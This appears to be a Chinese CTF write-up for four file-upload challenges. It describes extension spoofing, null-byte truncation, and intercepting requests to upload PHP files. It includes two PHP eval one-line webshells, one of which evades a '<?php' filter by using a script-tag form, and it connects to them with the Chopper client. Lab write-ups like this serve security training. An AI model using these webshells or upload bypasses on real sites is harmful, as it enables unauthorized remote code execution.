
1.
尝试直接上传php,被拒绝。

尝试改后缀为图片类型,抓包修改为php 成功

2.
第二个肯定要比第一个复杂,所以直接改后缀.php.png 然后尝试用00截断的方式完成


上传成功。
两个菜刀就很好连接了:连接地址为:http://192.168.1.11:8001加上最后给的路径
密码是cmd 就能连接成功。

3.
http://ctf5.shiyanbar.com/web/upload

进入后查看html代码,发现是php类型的网站。
尝试上传shell.php

尝试把jpg后缀改成php


被拒绝了。。
尝试00截断,改后缀为.php.jpg


还是被拒绝了。。
查看后猜测可能是改路径为php之后把上传的文件截断掉

添加一个符号,然后在hex中把它变成00截断掉

之后forward获得flag。
4.
上传php文件后发现虽然上传成功,但是返回了一些代码。


可以发现<?php被过滤掉了,
如果用传统的方式写的话:
<?php @eval($_POST['pass']) ?>
然后获得返回页面是:

所以应当换另一种写法绕过这种过滤
把php内的一句话木马改为:<script language="pHp">@eval($_POST['ss'])</script>
即可
之后上传,查看源代码发现上传路径:

之后找到这个路径进入发现空白证明上传成功。
之后用菜刀连接,成功进入:
